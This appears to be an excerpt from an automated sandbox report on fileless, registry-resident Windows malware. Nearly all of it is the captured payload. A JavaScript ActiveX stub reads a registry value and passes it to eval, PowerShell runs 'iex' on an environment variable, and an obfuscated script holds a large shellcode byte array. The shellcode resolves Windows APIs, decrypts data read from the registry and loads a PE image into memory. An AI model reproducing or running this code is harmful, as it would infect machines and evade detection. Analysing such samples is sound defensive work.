"javascript:fgkgK88="PKGgx";b4a=new%20ActiveXObject("WScript.Shell");n5nAK5tL="5Y";U4LEf=b4a.RegRead("HKCU\\software\\cnP9t5ZE\\LY2s8GF6");x6rol1="204sG";eval(U4LEf);N4hwRhlM="iO";" (UID: 00012677-00003468) Spawned process "powershell.exe" with commandline "iex $env:otxpnze" (UID: 00012863-00004380, Additional Context: "#xnpoitpxrxgbgbnnt sleep(15);try{ #jdamygfkjo function gdelegate{ #ydadpj Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #jywmuihh $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #kfcxx $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #wmdtoiqjy $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #ntbqrmjtby return $TypeBuilder.CreateType();} #vxdjhj function gproc{ #huqb Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #zjwtz $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #dlyqn $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #uxpgpw return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #kklifdr [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 0xFC 0x31 0xD2 0x64 0x8B 0x52 0x30 0x8B 0x52 0x0C <#zto#>0x8B 0x52 0x14 0x8B 0x72 0x28 0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 <#rk#>0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 <#in#>0xFF <#gtq#>0x5B 0xBC 0x4A <#xs#>0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 0xDB 0x89 0x5D 0xFC 0x5F <#kcg#>0x5E <#srl#>0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC 0x33 <#eyq#>0xD2 0x52 0x50 0x8B <#vbo#>0x45 0xD4 0x8B 0x40 <#xlj#>0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 <#kmn#>0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 <#xao#>0x8B 0x45 0xD0 0x81 <#eio#>0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B <#aaf#>0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B <#aq#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B <#lv#>0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 <#rj#>0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F 0x61 0x64 0x75 0x56 0x8D <#iu#>0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D <#if#>0x41 0x0C 0x80 0x38 0x00 <#wr#>0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#bi#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C <#fs#>0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 <#hb#>0x72 0x65 0x75 0x40 <#jlu#>0x8D 0x41 0x0E 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 <#aps#>0x03 0x04 0x24 <#lgz#>0x13 0x54 0x24 0x04 <#wka#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 <#jlc#>0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 <#nj#>0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 <#zj#>0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 <#ef#>0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 0x04 0x81 0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 0x08 0x80 0x38 0x65 0x75 <#utj#>0x50 0x8D 0x41 0x09 0x80 0x38 0x73 0x75 0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 0x75 0x40 <#nap#>0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#yec#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B <#asc#>0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 <#sm#>0x8B 0x02 <#btl#>0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 <#gz#>0xC6 <#sox#>0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF <#at#>0xFF 0xFF 0x32 0xC6 <#gfu#>0x85 <#rfe#>0x37 0xFF 0xFF 0xFF 0x2E 0xC6 0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A 0xFF 0xFF 0xFF <#gfy#>0x6C 0xC6 0x85 0x3B 0xFF <#nmu#>0xFF 0xFF 0x00 <#xid#>0x8D 0x85 <#btr#>0x2F 0xFF 0xFF 0xFF 0x50 0xFF <#aj#>0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x89 0x5D 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B <#zxe#>0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B <#orx#>0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 <#vc#>0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#rv#>0x78 0x03 0xC3 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 <#laz#>0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 <#qj#>0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 0x70 0x65 0x6E 0x4B 0x75 0x50 <#th#>0x8D 0x41 0x08 0x81 <#ubr#>0x38 0x65 0x79 0x45 0x78 0x75 0x45 <#lfg#>0x8D 0x41 0x0C 0x80 0x38 0x41 <#tqb#>0x75 0x3D 0x8D 0x41 <#it#>0x0D 0x80 0x38 <#thz#>0x00 0x75 0x35 <#zok#>0x8B 0x45 <#ic#>0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 <#xdi#>0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#oot#>0x03 0xC3 0x89 0x45 0xB0 0x81 <#zax#>0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 <#ea#>0x56 0x61 0x6C 0x75 0x75 0x48 <#ser#>0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 <#sd#>0x78 0x41 0x75 <#qkj#>0x3D 0x83 0xC1 0x10 0x80 0x39 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 <#lxu#>0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 <#fwr#>0xD3 0x0F <#wgd#>0xB7 0xC0 0xC1 0xE0 0x02 <#dp#>0x03 <#vwq#>0xD0 0x8B 0x02 0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF <#jea#>0x8D <#kh#>0x3C 0xFF <#na#>0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 0x89 <#dlt#>0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 <#cn#>0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF 0xFF 0x33 0xDB 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 <#ghk#>0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF <#gx#>0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF <#jo#>0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 <#kov#>0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 <#ppc#>0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#ye#>0x6A 0x40 0x68 <#bvo#>0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 <#kly#>0x64 0xFF 0xFF 0xFF <#cj#>0x83 <#uuj#>0xBD 0x64 0xFF 0xFF 0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B <#oya#>0x85 0x64 0xFF 0xFF <#jwk#>0xFF 0x50 <#uv#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF <#jvk#>0x50 <#olx#>0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 <#qjq#>0x00 0x00 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x50 0x68 0x01 0x00 0x00 0x80 <#vsq#>0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 0x6A 0x40 0x68 0x00 <#st#>0x30 <#zx#>0x00 0x00 0x8B 0x85 <#zqb#>0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x83 0xBD 0x64 0xFF 0xFF <#zfk#>0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 <#vl#>0xFF <#xw#>0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 <#kkv#>0x01 0x84 0xDB 0x75 <#yyd#>0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF <#str#>0xFF 0x8B 0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF <#bnl#>0xFF 0xFF 0xFF <#vrh#>0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 0xD2 0xF7 0xF7 0x33 0xC0 <#eu#>0x8A 0x84 0x15 0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 <#iv#>0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF 0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF 0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF 0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0xEB 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x48 0x85 <#lu#>0xC0 0x72 <#ub#>0x74 <#pe#>0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 0x00 0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B <#zj#>0x94 0xBD 0x00 0xFB 0xFF 0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 <#jg#>0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 0x8B 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF 0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 <#vld#>0x00 0xFB 0xFF <#cs#>0xFF 0x8B 0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 <#usr#>0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0x95 0x8B 0x85 0x4C 0xFF 0xFF 0xFF <#kqb#>0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 <#hdh#>0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 0x8B <#wsk#>0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C <#be#>0xFF 0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC <#ed#>0x02 0x00 0x00 0x8B 0x45 <#dj#>0xD0 0x8B 0x58 0x50 0x03 <#ckb#>0xDB <#zrz#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 <#jso#>0x6A 0x00 0xFF 0x55 0xA8 <#zy#>0x89 0x45 0xF8 0x83 0x7D <#vwj#>0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B <#zuz#>0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B <#pfk#>0x45 0xF8 0x50 <#kl#>0xFF 0x95 0x78 0xFF 0xFF 0xFF <#jyv#>0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 <#dkg#>0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C <#fxm#>0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x60 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 <#xd#>0x45 0xF8 0x83 0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 0x48 0x85 0xC0 <#hf#>0x7C 0x5F <#ck#>0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B <#gv#>0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 <#fec#>0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 0x8D 0x0C 0x89 0x03 0xD1 0x89 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x10 0x52 0x8B 0x95 <#gf#>0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF <#xl#>0xFF 0x8B 0x40 0x0C 0x03 0x45 0xF8 <#bhk#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF 0x8D 0x3C <#ylw#>0xFF 0xFF 0xFF 0x75 0xAA <#ad#>0x8B 0x45 0xD0 0x8B 0x40 0x34 0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 0x00 <#oa#>0x00 0x8B 0x45 <#uk#>0xD0 0x8B 0x55 0xF8 0x2B 0x50 0x34 0x89 0x55 0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 <#nhx#>0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B <#cw#>0x80 0xA0 0x00 <#bkp#>0x00 0x00 0x03 0x45 0xF0 <#wff#>0x89 0x45 0xEC 0xEB 0x6E 0x8B 0x45 0xEC 0x8B 0x00 0x03 0x45 0xF0 0x89 0x45 <#ujk#>0xE8 <#ixs#>0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 <#zau#>0x08 0xD1 0xE8 <#nj#>0x48 0x85 0xC0 <#ly#>0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF <#ad#>0x8B 0x45 0xE4 0x66 0x8B <#ges#>0x10 0x0F 0xB7 0xC2 0xC1 0xE8 0x0C 0x8B 0xCA 0x66 0x81 0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 0x83 0xF8 0x03 0x75 0x10 0x8B <#rax#>0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC <#ok#>0x89 0x45 0xEC 0x8B 0x45 0xEC 0x83 <#lk#>0x38 0x00 <#un#>0x77 0x8A <#zo#>0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x89 0x50 0x34 0x68 0xF8 0x00 <#yxk#>0x00 0x00 0x8B 0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 <#efe#>0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x05 <#dp#>0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 0x78 0x04 0x00 0x0F 0x86 0x9E <#afn#>0x00 <#bd#>0x00 0x00 0x8B 0x45 0xD0 <#zzr#>0x8B 0x80 <#fh#>0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D 0xF8 0x57 0xFF <#hde#>0x55 <#cl#>0xBC 0x8B <#cx#>0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 <#ve#>0x45 0xF8 0x89 0x45 0x88 0xEB <#sch#>0x0C 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 <#jlu#>0xF8 0x89 0x45 0x88 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 <#mu#>0x45 0xF8 0x89 0x45 0x84 0xEB <#tvi#>0x37 0x8B 0x45 0x88 0x8B 0x30 0xF7 <#prz#>0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 <#tb#>0xEB <#iq#>0x10 <#jyt#>0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF 0x55 0xB8 0x8B 0x55 0x84 <#tew#>0x89 0x02 0x83 0x45 0x88 0x04 0x83 0x45 0x84 0x04 0x8B 0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 0x45 0x8C 0x14 0x8B 0x45 <#xfz#>0x8C <#cbx#>0x8B 0x78 0x0C <#zrc#>0x85 0xFF 0x0F 0x85 0x73 0xFF 0xFF 0xFF 0x8B 0x45 <#eh#>0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 <#znz#>0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 <#pr#>0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F 0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 0x61 0x72 <#yw#>0x65 0x5C <#bq#>0x63 0x6E 0x50 0x39 0x74 0x35 0x5A 0x45 0x00 0x00 0x00 <#nk#>0x00 <#tp#>0x00 0x00 <#ch#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#cst#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#fa#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x57 0x43 0x6B <#dvj#>0x67 0x5A 0x4E 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x6D 0x28 0xF6 0x9D 0xBD 0x70 0xA9 0x24 0xD0 0x34 0x6D 0x55 0xF8 0x83 0x78 0x7C 0x79 0x72 0xE8 0x6E 0xB7 0xDD 0x01 0x0F 0xB4 0x56 0x38 0xBB 0x21 0x4F 0x9E 0x00 0x00 0x00 0x00 <#kx#>0x00 0x00 0x00 0x00 0x00 0x73 <#wb#>0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C 0x00 0x3C 0x00 0x3A 0x00 0x3A 0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 <#qx#>0x6C 0x00 0x6C 0x00 <#bj#>0x62 0x00 0x70 0x00 0x73 0x00 <#jga#>0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 <#hr#>0x00 0x00 0x00 0x00 0x00 0x00 <#etf#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1F 0x00 0x00 <#ky#>0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 